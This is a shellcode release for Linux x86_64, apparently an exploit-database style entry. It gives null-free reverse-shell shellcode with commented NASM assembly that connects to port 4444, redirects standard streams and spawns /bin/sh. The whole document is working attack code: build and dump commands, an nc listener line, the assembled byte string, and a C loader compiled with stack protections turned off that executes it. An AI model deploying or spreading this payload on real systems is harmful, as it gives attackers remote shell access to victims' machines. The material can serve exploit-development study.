/* Title: Linux/x86_64 - Reverse(0.0.0.0:4444/TCP)Shell(/bin/sh)- Null Free Shellcode ;Author: Aron Mihaljevic ;Architecture: Linux x86_64 ;Shellcode Length: 70 bytes ;github = https://github.com/STARRBOY compilation and execution of assembly code ------------------------------------- nasm -felf64 reverse.nasm -o reverse.o ld reverse.o -o reverse --------------------------- dumping binaries ---------------------------------------------------------------------------------- for i in $(objdump -d reverse |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo ---------------------------------------------------------------------------------- C program ------------------------------------------------------------------- gcc -fno-stack-protector -z execstack reverse_tcp.c -o reverse_tcp ---------------------------------------------------------------- test: open a terminal and run this " nc -l 0.0.0.0 4444 " after you have done that, open another one and run a shellcode global _start section .text _start: ; create socket ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 push 41 ;sys_socket pop rax push 2 ; AF_INET pop rdi push 1 ;SOCK_STREAM pop rsi xor rdx, rdx ;rdx = 0 syscall xchg rdi, rax ;save a socket descriptor connect: ; struct sockaddr_in addr; ; addr.sin_family = AF_INET; ; addr.sin_port = htons(4444); ; addr.sin_addr.s_addr = inet_addr("0.0.0.0"); ; connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr)); push 2 ;sin_family = AF_INET mov word [rsp + 2], 0x5c11 ;port = 4444 push rsp push 42 ;sys_connect pop rax ;rdi already contains a socket descriptor pop rsi ;(addr.sin_port,2 bytes) push htons(4444) push 16 ;sizeof(addr) pop rdx syscall push 3 ;push counter pop rsi dup2loop: ; int dup2(int oldfd, int newfd); push 33 ;dup2 syscall pop rax dec rsi ;next number syscall loopnz dup2loop ;loop spawn_shell: ; int execve(const char *filename, char *const argv[],char *const envp[]); xor rsi, rsi ;clear rsi push rsi ;push null on the stack mov rdi, 0x68732f2f6e69622f ;/bin//sh in reverse order push rdi push rsp pop rdi ;stack pointer to /bin//sh mov al, 59 ;sys_execve cdq ;sign extend of eax syscall */ #include #include unsigned char shellcode[]=\ "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" "\x5e\x48\x31\xd2\x0f\x05\x48\x97" "\x6a\x02\x66\xc7\x44\x24\x02\x11" "\x5c\x54\x6a\x2a\x58\x5e\x6a\x10" "\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" "\x58\x48\xff\xce\x0f\x05\xe0\xf6" "\x48\x31\xf6\x56\x48\xbf\x2f\x62" "\x69\x6e\x2f\x2f\x73\x68\x57\x54" "\x5f\xb0\x3b\x99\x0f\x05"; int main(){ printf("length of your shellcode is: %d\n", (int)strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); }